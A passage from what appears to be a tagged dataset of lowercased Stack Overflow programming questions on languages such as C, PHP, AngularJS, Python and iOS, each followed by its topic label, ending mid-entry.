insert into bmistorage (timestamp  bodymassindex  weightclass) values (       )  (timestamp  bodymassindex  weightclass))           conn.commit()           create_table()       def create_table():           c.execute( create table if not exists bmistorage(timestamp text bmi real weightclass text) ) </code></pre>   getting the error that <code>dynamic_data_entry</code> takes exactly one argument (0 given). i don t know how to fix or what went wrong. this is code for a bmi with a gui  where i want to write the input from the user in to a database  along with the date. i m having trouble writing the data from the input into the database.    ** the function is a method of a class *** updated to add the whole class,python
angular testing - karma or protractor   i am highly confused to test my angular application by selecting the frame work of either karma or protractor - which one do i need to use     if karma is for unit tests and protractor for external testing  how do i integrate both in a single application,angularjs
why am i getting the error  a is an inaccessible base of b  when using dynamic_cast and templates   why is the call to <code>f</code> not resolving to the first function overload  i get the error:   <blockquote>    <code>source.cpp: in function  int main() :</code><br>   <code>source.cpp:12:31: error:  a  is an inaccessible base of  b </code>  </blockquote>  <pre><code>class a {}; class b : a {};  void f(const a &amp;)  { std::cout &lt;&lt;  const a &amp; ; } template &lt;typename t&gt; void f(t) { std::cout &lt;&lt;  generic ;  }  int main() {     b b;     f(dynamic_cast&lt;const a &amp;&gt;(b));  } </code></pre>   note that if i take out the <code>dynamic_cast</code> the code will work yet the <em>second</em> <code>f</code> is called (it prints  generic ). but what i m trying to do is to get the first call. i figured a <code>dynamic_cast</code> would work  but for some reason it causes problems. what am i doing wrong here,c++
structures and dynamic memory in c  i m a beginner in c.<br> i want to assign each person s info to an array of pointer that is <code>*arr[2]</code><br> but i get an error message that is    <pre><code> malloc  is not declared in this scope. </code></pre>   how can i fix it    <pre><code>#include &lt;stdio.h&gt;  int main() {     struct person {         char *name;         int number;         char gender;     };      struct person *arr[2];      arr[0] = (struct person *) malloc(sizeof(struct person));      arr[0]-&gt;name =  john ;     arr[0]-&gt;number = 123;     arr[0]-&gt;gender = m ;      arr[1] = (struct person *) malloc(sizeof(struct person));      arr[1]-&gt;name =  jessica ;     arr[1]-&gt;number = 456;     arr[1]-&gt;gender = w ;      printf( %s   arr[1]-&gt;name);      return 0; } </code></pre>,c
how to upload image from url or computer with php   i have a form (code below) that allows a user to upload an image but i would also like them to be able to insert a url and the image will be fetched and uploaded. what could i add this form to do this  thanks   <pre><code>&lt; php } if ($settings[ usp_images ] ==  show ) {  &gt;             &lt; php if($settings[ max-images ] !== 0) {  &gt;             &lt;li class= usp_images &gt;                 &lt;label for= user-submitted-image  class= usp_label &gt;&lt; php _e( upload an image );  &gt;&lt;/label&gt;                 &lt;div id= usp_upload-message &gt;&lt; php echo $settings[ upload-message ];  &gt;&lt;/div&gt;                 &lt;div&gt;                     &lt; php                      if($settings[ min-images ] &lt; 1) {                         $numberimages = 1;                     } else {                         $numberimages = $settings[ min-images ];                     }                     for($i = 0; $i &lt; $numberimages; $i++) {  &gt;                     &lt;input class= usp_input usp_clone  type= file  size= 25  id= user-submitted-image  name= user-submitted-image[]  /&gt;                     &lt; php }  &gt; </code></pre>,php
what does the code <  mean in html   i am working on an html parser  but when my program reads something like   <pre><code>&lt;a href= http://www.cprogramming.com/ &gt;&lt;  class= logo noprint  src= http://static.cprogramming.com/main_images/title.png  width= 324  height= 83  border= 0 &gt;&lt; /a&gt;  </code></pre>   it breaks. i know how to fix the problem   i would just like to know how to interpret the code  either invalid html or is a technique that i just have not as yet come across in my studies.,html
mysql - add new column with default string concat with data from existing column  i need to insert a new column of urls into a table of items based on their rom code that already exists in a column of my table.    my url needs to have the following format /media/marquees/{rom}.png   <pre><code>|  rom  |          marquee_url          | |---------------------------------------| | abcd  | /media/marquees/abcd.png      | | efg   | /media/marquees/efg.png       | </code></pre>   i m fairly confident there are no null values in _rom,mysql
why can i not send a string but only a number to a member function   im making my own function to search for the total number of something. but it is not working propperly. function getnumberofcounts gets the $fromindex but not the searchword   <pre><code>public function getnumberofcounts( $searchword  $fromindex ) {            $index = $fromindex;     $counter = 0;      while( $index &lt;= $endpos )     {         $index++;          $pos = strpos( $this-&gt;text  $searchword  ($index+1) );          if( $pos &gt; $index )         {             $counter++;              $index = $pos;         }         else             break;      }      return $counter; }  public function searchdemo() {     $startpos = 11; // ex      echo  &lt;br /&gt; count=   . $this-&gt;getnumberofcounts(  lorem   $startpos ); } </code></pre>   they are both part of the same class ofc.    <strong>edit: i know there is some missing info  but if i try to print $searchword on the first line of getnumberofcounts nothing is outputted.</strong>,php
reinstalling .net framework 1.0  i am having to reinstall .net framework from 1.0 and up  however  during the install of 1.0 i am asked where do i want to put the files.  i am not sure  but in my researching  would i be correct to put them here:<strong>c:\windows\microsoft.net\framework\v1.0.3705</strong>    i can t get this computer online because the system owner deleted some files and now the drive won t read any setup files  so i m really stuck here.    these are the messages received when attempting to install. .net framework 1.0 service pack 3 – message box – net framework 1.0 sp 3 – the upgrade patch cannot be installed by windows installer service because the program to be upgraded may be missing or the upgrade may update a different version of the program.    .net framework 1.1 – setup complete.    .net framework l.l service pack 1 – successfully installed on microsoft .net framework 1.1.  must restart computer..click yes.  however  when restarted computer got message box - hpqimzone.exe – common language runtime debugging services - heading    .net framework 2.0 – successfully installed.    .net framework 2.0 service pack 1 – message box - setup has detected that this computer does not meet the requirement to install this software.  these requirements must be met before you can install microsoft net framework 2.0 sp1.    .net framework 3.0 – message box – you must install this service pack to complete installation.  microsoft .net framework 3.0 requires that this service pack be installed prior to installation.  service pack 2,.net
how would i print this on the same line  i am trying to write a program that builds a  building  using multiple characters. there are 3 functions:   <pre><code>  1. int validatedata(int low  int high  char type) </code></pre>   this function validates that the user s entry meets the required parameters and returns the correct number depending on the <code>type</code> parameter.    no problems here.   <ol start= 2 > <li><code>int drawupperfloors(int numofwindows)</code></li> </ol>   this function is supposed to draw the number of floors depending on how many windows the user entered. my problem is that i cannot seem to get the windows to draw on the same line. if the user entered 3 the output should be: (took awhile to get that right)     <code>+---------------+ |               | |  === === ===  | |  | | | | | |  | |  === === ===  | |               |</code>     instead i get a window on a new line until the loop reaches its limit (<code>numofwindows</code>)  so if <code>numofwindows</code>= 20 then i get 20 windows each on a different line. i would appreciate insight into how i might do this.   <ol start= 3 > <li> <code>void drawgroundfloor(int numofwindows)</code>    this function is almost identical to the <code>drawupperfloors( )</code> function except that the first window will be replaced with a door. so  if the numofwindows parameter is 2  then the ground floor will consist of 1 door and 1 window. if the number of windows is only 1  then only a door will be drawn.    please take note of the following details: a). each window (and door) is exactly 3 columns wide.    b). the bottom of the floor is drawn using the * character.    an example of a ground floor with 5 windows woulb be: </li> </ol>   <code>+-----------------------+ |                       | |  === === === === ===  | |  | | | | | | | | | |  | |  | | === === === ===  | |  | |                  | *************************</code>    considering i have been unable to do the second function this comes as no surprise.    i have tried using up to 3 loops using <code>if</code> and <code>else</code>  but i still cannot  no matter what i try (even modulus) get it print in the same line. any input would be appreciated.    <strong>edit</strong> here s the code for the 2 functions so far   <pre><code>int getvaliddata(int low  int high  char type) {     int number;     int number2;      int i=1;     int j;     if (type ==  f )     {         printf( enter the amount of floors you would like(1-1000)\n );         scanf( %d   &amp;number);         fflush(stdin);           if (number &lt; 1 || number&gt;1000)         {             while(i!=0)             {                 printf( you have entered an invalid floor number\nplease enter a valid number:  );                  scanf( %d   &amp;number);                 fflush(stdin);                 if (number &gt;= 1 &amp;&amp; number &lt;= 1000)                 {                     printf( thank you!\n );                     i = 0;                  }             }          }         return number;     }        printf( enter the amount of windows you would like(1-20)\n );     scanf( %d   &amp;number);       if (type ==  w )     {         if (number &lt; 1 || number&gt;20)         {             while(i!=0)             {                 printf( you have entered an invalid number\nplease enter a valid number:  );                 scanf( %d   &amp;number);                 if (number &gt;= 1 &amp;&amp; number &lt;= 20)                 {                     printf( thank you!\n );                     i = 0;                 }             }          }          return number;     int drawupperfloors(int numofwindows) {     int check = numofwindows;     int i;     int j;     for (i = 0; i &lt;= numofwindows;i++)     {         printf( ===\n );         for (j = 0; j &lt;= numofwindows;j++)         {             printf( |  |\n );         }          printf( === );     } </code></pre>   },c
encrypting sections of web.config. should i   i am responsible for several asp.net web apps running on a local intranet server. users outside the company aren t supposed to have access to the server  but i don t like leaving anything to chance if it s not necessary. and only admins should have access to the file system.     should i encrypt the app settings and connection string sections of web.config  i haven t see this mentioned very often  and i was wondering if it s overkill or not a best-practice. i ve got passwords in my connection strings and account info for a service account i use to query ad in the app settings.     btw: i would encrypt using   <pre><code> configuration webconfig = webconfigurationmanager.openwebconfiguration(system.web.httpcontext.current.request.applicationpath); configurationsection section = webconfig.sections[ connectionstrings ];  if (section != null &amp;&amp; !section.sectioninformation.isprotected) {     section.sectioninformation.protectsection( dataprotectionconfigurationprovider );     webconfig.save(); } </code></pre>,asp.net
angular js filtering numbers  i have a filter like so:   <pre><code>&lt;tr ng-repeat= c in categorylist | filter: {categoryoption.categoryoptionid: filterbytype} &gt; </code></pre>   the value: filterbytype gets set from a dropdown list not shown.    this works just fine  except if the filterbytype value is a 2  for example  then it will filter the results to show 2  22  32  42  etc.  it s not a true number compare.  it s more like a string.contains kinda thing.    any idea how i can lock this down,angularjs
can i inject dependencies on the fly in angular.js   i have the following service:   <pre><code>var module = angular.module( app   []);  module.service( service   function(dep){  }); </code></pre>   and suppose that i need to instantiate it somewhere in my code  with a different dependency  than the default one.   <pre><code>    //service is injected with the default  dep  dependency module.controller( controller   function(service  $injector) {      //i need to call the service with my custom dependency    //but $injector does not help  because it only gives back    //the already injected service object    var injectedservice = $injector.get( service )     //so theoretically i would need something like this    //but i did not find such a feature yet    var customdep = {...}    var servicewithcustomdep = $injector.inject( service   [customdep]); }); </code></pre>   is there a way to achieve this,angularjs
adding a uiview as a subview to uiimageview  i am working on creating a color picker for  ios . i am using this project  since it does what i want:  <a href= http://static.squarespace.com/static/52dd7a60e4b0e9abea4e2cad/52e28e46e4b0bd8a202b5c72/52e28f98e4b0bd8a202b7035/1390579608939/colorpicker1.zip format=original  rel= nofollow >this</a>     i want to create a moveable circle (<code>uiview</code>) on top of the palette (<code>uiimageview</code>).     what i want to do is  while users move the circle  take the touch point and call the method <code>getpixelcoloratlocation();</code> and change the background color of the circle to the color on current point. (seen on most of the color palette/wheels)    the method <code>getpixelcoloratlocation()</code> is available on a child view. i created a circle with <code>uiview</code> on parent view  the problem is i cant call to <code>getpixelcoloratlocation()</code> from parent view.     my question is  is there anyway to add a <code>uiview</code> as a <code>subview</code> to <code>uiimageview</code>. if i cant  what choices do i have to achieve what i want,objective-c
put string in componentname  i want to disable default android launcher. as i understand it can be done by using this <code>setcomponentenabledsetting</code> and this <code>component_enabled_state_disabled</code>.but i don t understand how to put  com.android.launcher  in <code>componentname</code>.can somebody help me,android
how to initialize base class property from derived class   i wrote  following code in my mvc application.   <pre><code>public class testcontroller : controller {     public actionresult stronglytypedview()     {       var obj = new mvcrouting.models.student();       obj.age = 24;       obj.name =  prab ;       viewdata.model = obj;       return view();     } } </code></pre>   in above code <code>viewdata</code> is the property of <code>controllerbase</code> class and <code>model</code> is the property of <code>viewdatadictionary</code> class.same thing i tried in following code but i am getting null values in property1 how to solve this     <pre><code> public interface iface1  {            int age { get; set; }  }  public class classa : iface1  {           public int age { get; set; }  }  public abstract class classb  {            public classa property1 { get; set; }  }  public class test : classb  {    public void test()    {                 property1.age = 24;    }    public static void main()    {      test obj = new test();      obj.test();      console.read();    }  } </code></pre>,c#
change to an option in a select with jquery  as the title says how can i change to an option with value xx in a select     i can do <code>$( #qty ).val(2);</code> that works  but i want it to trigger the change() function.    <a href= http://jsfiddle.net/kc3es/  rel= nofollow >http://jsfiddle.net/kc3es/</a>    so at the document ready it should also alert  works!  since it just got changed.    how can i do this,jquery
are sql strings null terminated   i was learning how to use <code>len()</code> function. when i found out the length of a cell having 12 characters  it gave me result 12. now i was thinking that arent the sql strings null terminated(as if they would have been then <code>len()</code> should have returned 13 not 12)     please help me out.    thanks,sql
can t seem to understand what hw is asking for c++ class <blockquote>    you cannot evaluate any value or expression for truth or falsity because it is determined by the keywords true and false.        a.true<br>   b.false   </blockquote>   at first  i picked true but then i thought maybe it is false since anything can be assigned to true or false but i still am unsure of what it is asking.,c++
mysql distinct results from a query  what i m trying to do is get the distinct results using a mysql query:   <pre><code>    $sql =  select un.*  co.order_product_quantity as product_num  cu.first_name  cu.surname  cp.product_name  cp.product_thumbnail as prod_img  co.order_goods_cost  co.order_delivery_cost  co.order_status as status         from (             select distinct order_unique_id as o_id  order_date             from cbs_orders             group by order_unique_id         ) un             inner join cbs_orders co on co.order_unique_id = un.o_id             inner join cbs_users cu on cu.id = co.order_user_id             inner join cbs_products cp on cp.product_id = co.order_product_id         order by un.order_date desc limit $start_from  $num_rec_per_page  ; </code></pre>   i m looking to get the distinct order_unique_id from the query  i never wrote the query initially  i thought adding  select distinct order_unique_id  would solve the issue but it still brings back duplicate ids.    cheers for any help guys    graham,mysql
need a context in a non-activity class  there are a lot of questions asking how to popup a toast from another class  i must have tried all of them and none appear to work.    i am extending the webviewclient and need to popup some messages related to loading errors etc with toast  however i appear to be unable to define the context     <pre><code>public class myappwebviewclient extends webviewclient {      private static context context;     public myappwebviewclient(context c) {         context = c;     }      public static void popup(string message){         toast.maketext(context  message  toast.length_short).show();     }      popup( hello world ) } </code></pre>   and this is the error:   <pre><code>error:(301  34) error: constructor myappwebviewclient in class myappwebviewclient cannot be applied to given types; required: context found: no arguments reason: actual and formal argument lists differ in length </code></pre>   what am i doing wrong,android
change background image of a button without extra buttons  i ve set a button with an image as it s background  and i m trying to get the image to change back and forth from 2 different images when pressed.  for example  a happy face when pressed would switch to a sad face  and when pressed again would switch back to a happy face and so on.    any help you can offer would be amazing before i pull anymore hair out.,ios
wildcard for nested params  is there a way i can test for both these params to be <code>true</code>  some sort of wildcard value for the first key    <pre><code>params[:book][:return_to] params[:work][:return_to] </code></pre>   at the moment i m having to do:   <pre><code>if params[:book] and params[:book][:return_to]    # blah elsif params[:work] and params[:work][:return_to]    # blah </code></pre>,ruby-on-rails
jquery append a suffix to a string and move cursor to the left  i have a text input box that i would like to automatically add  inches  as a suffix to user inputs either when they click on the box or while typing. so basically when a user enters input into the box the word inches will appear to the right of their cursor  but their cursor will remain to the left of the in suffix.  i tried using the <a href= http://www.decorplanit.com/plugin/  rel= nofollow >autonumeric</a> library  which does this sort of thing quite well  but i couldn t figure out how to get it to allow slashes for fractions.  below is a sort of example with | representing the edges of the box and ^ representing the cursor.   <pre><code>| 1/2^ inches | </code></pre>   or   <pre><code>| ^ inches | </code></pre>,jquery
what method should i use in ios  in my ios app there is a view controller with six buttons. the buttons work as main menu of the app.    if the user is not logged in  must show only :   <ol> <li>log in</li> <li>action a</li> <li>action b</li> </ol>   if the user is logged in  must show only:   <ol> <li>action c</li> <li>action d</li> <li>action e</li> </ol>   at a new fresh app start  the view controller shows the correct buttons. it takes into account if the user is logged in or not. the app uses nsdefaults to keep the session info.    but then  if the user logs out or logs in  the view controller shows the six buttons....    i need your help to know on which method should i put the condition that determines if the user is logged in show the buttons action c  action d and action e  and if the user is not logged in show the buttons log in  action a and action b. i have tried in methods viewdidload  viewwillappear and viewdidappear  but no success.    it is a view controller that works as the rear part of a swrevealviewcontroller implementation.    thank you.,ios
does objective-c support c# style attributes   does objective-c support marking properties/methods with attributes  like so:   <pre><code>#myattribute //sudo example @porperty (nonatomic  retain) nsstring * mystring; </code></pre>   i would then like to  reflect  over the class and determine what attribute is attached to the property  mystring .    is something like this possible     thanks,objective-c
how can i get my va_list arguments to repeat itself   this is my first time working with <code>va_list</code> and stuff so i don t really know what i m doing. okay basically what i have is a bunch of numbers (1  2  3  4  5) in the function ordered and i get them to print out. this works fine.   <pre><code>#include &lt;iostream&gt; #include &lt;cstdarg&gt;  using namespace std;  void ordered(int num1  double list ...);  void main() {      ordered(5  1.0  2.0  3.0  4.0  5.0); }  void ordered(int num1  double list ...) {     va_list arguments;      va_start(arguments  num1);      list = va_arg(arguments  double);     cout &lt;&lt;  there are   &lt;&lt; num1 &lt;&lt;   numbers  &lt;&lt; endl;      do {          cout &lt;&lt; list &lt;&lt; endl; // prints out 1 then 2 then 3 then 4 then 5         list = va_arg(arguments  double);     } while (list != 0);      // at this point  list = 0      va_end(arguments); } </code></pre>   the problem is  after the <code>va_end(arguments);</code> or before it  i would like to get the program to print out my list a second time; basically print out 1  2  3  4  5 once more  without making another function. i tried to duplicate the code:    <pre><code>va_start(arguments  num1);  do {      cout &lt;&lt; list &lt;&lt; endl;     list = va_arg(arguments  double); } while (list != 0);  va_end(arguments); </code></pre>   without success. how can the program to repeat <code>list</code> once more  or is it not possible to do it again in the same function,c++
use jquery to make a navigation arrow appear for a particular image in a set of images  i have a  vertical  image gallery of this sort:     <pre><code>&lt;div class= image-container&gt;     &lt;div class= nav &gt;         &lt;div class= next &gt;&lt;a href= info &gt;&lt;img src= arrow_trans.png  alt= next  /&gt;&lt;/a&gt;       &lt;/div&gt;          &lt;div id= vert-gallery &gt;         &lt;div id= first-row  class= link-image &gt;&lt;img src= image_1.png  /&gt;&lt;/div&gt;         &lt;div id= second-row  class= link-image &gt;&lt;img src= image_2.png  /&gt;&lt;/div&gt;         &lt;div id= third-row  class= link-image &gt;&lt;img src= image_3.png  /&gt;&lt;/div&gt;         &lt;div id= first-row  class= link-image &gt;&lt;img src= image_4.png  /&gt;&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   if i hover over any one of these images  i want a navigation arrow to appear. i ve been using:     <pre><code>$( .link-image ).hover(function() {     $( div.nav ).show();     }           function() {     $( div.nav ).hide(); }); </code></pre>   this makes the navigation arrow appear over all the images (since they re of the same class).     how can i make it only appear over the image i m hovering over and not the other ones     <strong>edit</strong>    in my case  <code>div.nav</code> is part of <code>image-container</code>. i might have multiple containers on the same page.,jquery
.net windows application - how to automatically call a program by file association  i have a windows .net program that (among other things) will display image files.  these can be in either tiff or pdf format  and at the moment the way they are displayed is to see what the file extension is  then to call the appropriate program to display that file.    here s the code fragment:   <pre><code>            imagepath = imagedataset.tables( table ).rows(imagecal).item(2)         imagepath =  \\tylerimaging\documentupload\  &amp; imagedataset.tables( table ).rows(imagecal).item(3) &amp;  \  &amp; imagedataset.tables( table ).rows(imagecal).item(4)         dim pdfimage as string = imagepath.substring(imagepath.length - 3)         if ucase(pdfimage) =  pdf  then             system.diagnostics.process.start( acrord32.exe   imagepath)         else             try                 system.diagnostics.process.start( mspview.exe   imagepath)             catch ex as exception                 if ex.message =  the system cannot find the file specified  then                     system.diagnostics.process.start( ois.exe   imagepath)                 end if             end try         end if     end if </code></pre>   now  the problem is that if someone doesn t have the acrobat reader installed  for example  but the full version of adobe acrobat  the process.start for acrord32.exe will fail.  but  windows clearly has the association between the file type of pdf and acrobat - so  here s my question - how can i get the file displayed by whatever program is associated with that file type in windows     thanks in advance....,.net
how can i use ellipsis in a link that have :after pseudo element  i ve a link as shown in image bellow    <img src= https://i.stack.imgur.com/dhdln.png  alt= enter image description here >    what i want is to do  is apply    <pre><code>text-overflow: ellipsis;  </code></pre>   so in this case the word  page  will be replaced by ellipsis  but still having the arrow  which is an :after element of the link.    link code is this:   <pre><code>.next-lesson:after{ background: url( img/icons.png ) no-repeat -9px -91px; display: inline-block; background-repeat: no-repeat; width: 15px; height: 15px; content:   ; margin-left: 5px; } </code></pre>,css
how can i fix header and footer position on mobile device   i am developing phonegap application which will be run on mobile device. but now i have some problems. when i touch mobile screen up or down header or footer of page is disappeared. html code is as followed.   <pre><code>... &lt;body&gt;    &lt;div data-role= page  id= page1 &gt;       &lt;div data-role= header  data-position= fixed &gt;          header!!!       &lt;/div&gt;       &lt;div data-role= footer  data-position= fixed &gt;          footer!!!       &lt;/div&gt;    ... ...    &lt;/div&gt; &lt;/body&gt; </code></pre>   anyone helps me!,html
c# delete file after using  i am trying to delete a file in c# after doing some work upon it  but its not working as giving an error like another process is using the file  how can i do that thing any one please have any idea,c#
what does  in  mean in javascript if statement  hi i m following a tutorial learning to use javascript.    <pre><code>function move(keyclick) { if(40 in keyclick) {} playermove.x++; render(); } </code></pre>   what does the  in  word mean  i understand what the function is doing  but why not just use ==       thanks,javascript
how to remove multiple lists from the multiple lists   i have two lists:   <pre><code>l1 = [[1 2 3 4 5]  [1 2 4 6 7]] l2 = [[1 2 3 4 5]  [1 2 4 6 7]  [1 2 3 6 8]  [1 2 3 0 9]  [1 2 6 7 6]] </code></pre>   i want to create a new list <code>l3</code> that contains the items of <code>l2</code> that are not in <code>l1</code>. something like this:   <pre><code>l3 = l2-l1 </code></pre>   so  i am expecting an <code>l3</code> as:   <pre><code>l3 = [[1 2 3 6 8]  [1 2 3 0 9]  [1 2 6 7 6]] </code></pre>   how can i achieve that  any solution using remove() or delete() in python..,python
modnet communication with more clients  sorry not so if stackoverflow is covered this topic but i wanted to ask you one thing. i have to work on a project not written by me so i already have a lot of difficulties. the project already supports a modnet communication between a server and a client. what my boss asked me is to communicate a server with more clients. in the meantime  i wonder if this solution is possible and  if so  in what direction i should aim to find the right code.    thank you so much and sorry if i am very vague.,c#
using functions and arrays  my little program below shall take 5 numbers from the user  store them into an array of integers and use a function to print them out. sincerly it doesn t work and my output is always  00000 . i can t find a mistake  so i would be glad about any advice. thanks.   <pre><code>#include &lt;stdio.h&gt;  void printarray(int intarray[]  int n) {     int i;     for(i = 0; i &lt; n; i ++)     {         printf( %d   intarray[i]);     } }  int main ()     {     const int n = 5;     int temp = 0;     int i;     int intarray [n];     char check;      printf( please type in your numbers!\n );      for(i = 0; i &lt; n; i ++)     {         printf(  );             scanf( &amp;d   &amp;temp);                  intarray[i] = temp;           getchar();         getchar();      }      printf( do you want to print them out  (yes/no):  );         scanf( %c   &amp;check);          if (check ==  y )             printarray(intarray  n);       getchar();     getchar();      return 0; } </code></pre>,c
inherit and override css  i ve been using twitter-bootstrap css for a while. the reason i use it is because i do not know much about css. now in my code often i use <code>style</code> on element which is already assigned to a class. example:   <pre><code>&lt;div style= background-color: white  class= thumbnail &gt;&lt;/div&gt; </code></pre>   the above code does not look nice. the class may already have a background-color property. what is the most efficient way to simplify it,css
is there a simple way to create a modal button menu on the iphone   plenty of applications seem to do this. for example  go to apple s mail application and press the  reply  button on the toolbar. you ll get a menu with buttons that say  reply    reply all    forward  and  cancel  that will scroll up from the bottom.     the way i figure i could do this is to create a short view in ib with the buttons i want  present it modally  and right a view controller to handle the buttons.    it seems like this is so common that there must be an easier way to do it (like how easy it is to add to the toolbar and navigation bar).     is there some widget or shortcut that i am missing,iphone
what does context mean   this word never makes sense to me. i wouldn t understand ussualy why database access objects are named with this naming convention and also i have seen many times this word used in others codes which wasn t about database objects.    can someone explain mean of this word in programming to someone who is not english and can give some examples about general usage in programming area,.net
transferring html data between pages  been really stressed out for a while  as i m very new to coding and can t figure out how to transfer some paragraph data across pages.  here is my code on my first page:   <pre><code>    &lt;!doctype&gt;     &lt;html&gt;     &lt;head&gt;     &lt;h1&gt;z&lt;/h1&gt;     &lt;/head&gt;     &lt;body&gt;     &lt;p&gt;test&lt;/p&gt;     &lt;p id= goalpage &gt;&lt;/p&gt;     &lt;script type= text/javascript &gt;     var t = math.floor((math.random() * 1) + 1);     if (t === 1) {document.getelementbyid( goalpage ).innerhtml =  your goal page is data 1 ;}     else {alert( unprecedented failure. please reload the page and report   the bug to me. );}     function testjs() {     var b = document.getelementbyid( goalpage ).value      url =  file:///c:/users/admin/desktop/coding%20data%20files/data1.html name=load  + encodeuricomponent(b);      document.location.href = url;     }     &lt;/script&gt; </code></pre>   on my second page  this is my code:   <pre><code>    &lt;!doctype&gt;     &lt;html&gt;     &lt;head&gt;     &lt;h1&gt;w&lt;/h1&gt;     &lt;/head&gt;     &lt;body&gt;     &lt;p id= goalpage &gt;&lt;/p&gt;     &lt;script&gt;     window.onload = function () {     var url = document.location.href      params = url.split(   )[1].split( &amp; )      data = {}  tmp;     for (var i = 0  l = params.length; i &lt; l; i++) {      tmp = params[i].split( = );      data[tmp[0]] = tmp[1];     }     document.getelementbyid( goalpage ).innerhtml = data.load;     }     &lt;/script&gt;     &lt;/body&gt;     &lt;/html&gt; </code></pre>   i used many other forum answers to try to get a working solution  however i could not. any help would be appreciated.,html
multiple definition of first defined here with only one file  i m really new to c and i m having an error when i compile my code with -g. when i compile my code with -o  it compiles but crashes. when i compile with -g  these are the error messages:    <pre><code>/afs/pitt.edu/home/j/t/jth64/private/cs449/proj1test/bmp_edit.c:42: multiple  definition of `invert  proj1test:(.text+0xe4): first defined here /tmp/cca3apso.o: in function `main : /afs/pitt.edu/home/j/t/jth64/private/cs449/proj1test/bmp_edit.c:110:   multiple definition of `main  proj1test:(.text+0x4b7): first defined here </code></pre>   there s more text  but i m pretty sure these two are the only problem. i read up a lot about this before i posted this problem  but it seems like all of the other linker errors are because of multiple files  while i m getting them and i only have one file.    here is the file i have currently:   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt;  struct headbmp {     char formatidentifier[2];     int filesize;     short resval1;     short resval2;     int offset; };  struct headdib {     int headersize;     int width;     int height;     short planes;     short bitsperpixel;     int compressionscheme;     int imagesize;     int horizontalres;     int verticalres;     int palette;     int importantcolors; };  struct headrgb {     unsigned char red;     unsigned char blue;     unsigned char green; };  void invert (char file[]) {     struct headbmp bmp;     struct headdib dib;     struct headrgb rgb;     file *fp;     fp = fopen (file   rb+ );     /*--------bmp--------*/     fread (bmp.formatidentifier  1  2  fp);     if (bmp.formatidentifier[0] !=  b  || bmp.formatidentifier[1] !=  m ) {         printf ( we do not support this type of file! \n );         exit (-1);     }     fread (&amp;bmp.filesize  4  1  fp);     fread (&amp;bmp.resval1  2  1  fp);     fread (&amp;bmp.resval2  2  1  fp);     fread (&amp;bmp.offset  4  1  fp);      /*--------dib--------*/     fread (&amp;dib.headersize  4  1  fp);     if (dib.headersize != 40) {         printf ( we do not support this type of file! \n );         exit (-1);     }     fread (&amp;dib.width  4  1  fp);     fread (&amp;dib.height  4  1  fp);     fread (&amp;dib.planes  2  1  fp);     fread (&amp;dib.bitsperpixel  2  1  fp);     fread (&amp;dib.compressionscheme  4  1  fp);     fread (&amp;dib.imagesize  4  1  fp);     fread (&amp;dib.horizontalres  4  1  fp);     fread (&amp;dib.verticalres  4  1  fp);     fread (&amp;dib.palette  4  1  fp);     fread (&amp;dib.importantcolors  4  1  fp);     /*fseek(fp  10  seek_set);*/      /*--------rgb--------*/     int i = 0;     while (i &lt; dib.width) {         int j = 0;         while (j &lt; dib.height) {             fread (&amp;rgb.red  1  1  fp);             unsigned int r = rgb.red;             r = ~r;             rgb.red = (char) r;              fread (&amp;rgb.green  1  1  fp);             unsigned int g = rgb.green;             g = ~g;             rgb.green = (char) g;              fread (&amp;rgb.blue  1  1  fp);             unsigned int b = rgb.blue;             b = ~b;             rgb.blue = (char) b;              fseek (fp  -3  seek_cur);             fwrite (&amp;rgb.red  1  1  fp);             fwrite (&amp;rgb.green  1  1  fp);             fwrite (&amp;rgb.blue  1  1  fp);             j++;         }         i++;     }     fclose (fp); }  int main (int argc  char *argv[]) {     if (strncmp (argv[1]   -invert   7) == 0) {         invert (argv[1]);     }     return 0; } </code></pre>   this has been weighing on my mind a lot  so i appreciate any help. cheers.,c
how do i programmatically mute the iphone or bring the volume to zero  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1465733/setting-iphone-to-vibrate-and-setting-iphone-back-to-sound-via-app >setting iphone to vibrate and setting iphone back to sound via app.</a>    </blockquote>     i know there are other questions on this same topic  but the iphone sdk has changed significantly since then.,iphone
path of the local directory  a rather simple question; how to find the path of the local directory in which my exe is placed  as-in i have an .exe and in the program i have to create a txt file in the directory where the exe is!    [language - c#]    so  if the exe is in c:/temp  and is started from there; my txt should be created in c:/temp    if the user wishes to move the exe to d:/temp and runs from there; i should be able to create the txt file in d:/temp    i tried the directory.getcurrentdirectory() but that returns the directory of the execution of the program!,c#
how to access moon longitude values using objective-c  i need to find out moon longitude value for finding nakshatra and tithi.    i use below c language code for getting moon longitude    <pre><code> //longitude of moon     static double moon_long(double d)     {     double n  i  w  a  e  m  e  et  x  y  r  v  xec  yec  zec  d  f  tmp  tmp1  tmp2  lon;      n = 125.1228-0.0529538083*d;     i = 5.1454;     w = rev(318.0634+0.1643573223*d);     a = 60.2666;     e = 0.054900;     m = rev(115.3654+13.0649929509*d);     mm = m;     lm = n+w+m;      //calculate eccentricity anamoly     tmp = m*d2r;     e = m+r2d*e*sin(tmp)*(1+e*cos(tmp));      tmp = e*d2r;     et = e-(e-r2d*e*sin(tmp)-m)/(1-e*cos(tmp));      do {         e = et;         tmp = e*d2r;         et = e-(e-r2d*e*sin(tmp)-m)/(1-e*cos(tmp));     } while(e-et&gt;0.005);      tmp = e*d2r;     x = a*(cos(tmp)-e);     y = a*sqrt(1-e*e)*sin(tmp);      r = sqrt(x*x + y*y);     v = rev(r2d*atan2(y x));      tmp = d2r*n;     tmp1 = d2r*(v+w);     tmp2 = d2r*i;     xec = r*(cos(tmp)*cos(tmp1)-sin(tmp)*sin(tmp1)*cos(tmp2));     yec = r*(sin(tmp)*cos(tmp1)+cos(tmp)*sin(tmp1)*cos(tmp2));     zec = r*sin(tmp1)*sin(tmp2);      //do some corrections     d = lm - ls;     f = lm - n;      lon = r2d*atan2(yec xec);      lon+= -1.274*sin((mm-2*d)*d2r);     lon+= +0.658*sin((2*d)*d2r);     lon+= -0.186*sin((ms)*d2r);     lon+= -0.059*sin((2*mm-2*d)*d2r);     lon+= -0.057*sin((mm-2*d+ms)*d2r);     lon+= +0.053*sin((mm+2*d)*d2r);     lon+= +0.046*sin((2*d-ms)*d2r);     lon+= +0.041*sin((mm-ms)*d2r);     lon+= -0.035*sin((d)*d2r);     lon+= -0.031*sin((mm+ms)*d2r);     lon+= -0.015*sin((2*f-2*d)*d2r);     lon+= 